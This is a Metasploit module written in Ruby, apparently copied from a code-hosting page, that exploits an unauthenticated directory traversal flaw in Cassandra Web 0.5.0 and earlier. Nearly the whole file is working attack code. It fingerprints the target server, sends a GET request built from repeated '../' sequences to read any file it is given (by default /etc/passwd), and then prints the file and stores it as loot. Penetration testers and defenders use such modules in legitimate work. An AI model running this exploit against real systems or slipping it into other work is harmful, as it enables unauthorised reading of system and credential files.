97 lines
3.2 KiB
Ruby
97 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::Remote::HttpClient
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prepend Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Cassandra Web File Read Vulnerability',
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'Description' => %q{
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This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
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'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
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This vulnerability occurred due to the disabled Rack::Protection module
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},
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'References' => [
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['URL', 'https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be'],
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['EDB', '49362']
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],
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'Author' => [
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'Jeremy Brown', # Vulnerability discovery
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'krastanoel' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [],
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'SideEffects' => []
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}
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)
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)
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register_options(
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[
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OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
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OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 8]),
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OptInt.new('RPORT', [true, 'The Cassandra Web port (default: 3000)', 3000])
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]
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)
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end
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def check_host(_ip)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/')
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})
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return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
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return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
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if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
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return Exploit::CheckCode::Appears('Cassandra Web Detected')
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else
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return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown('Could not connect to the web service')
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end
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def run_host(ip)
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traversal = '../' * datastore['DEPTH']
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filename = datastore['FILEPATH']
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filename = filename[1, filename.length] if filename =~ %r{^/}
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")
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})
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fail_with(Failure::Unreachable, 'Connection failed') unless res
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fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 200
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fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')
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print_status('Downloading file...')
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print_line("\n#{res.body}\n")
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fname = datastore['FILEPATH']
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path = store_loot(
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'cassandra.web.traversal',
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'text/plain',
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ip,
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res.body,
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fname
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)
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print_good("File saved in: #{path}")
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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end
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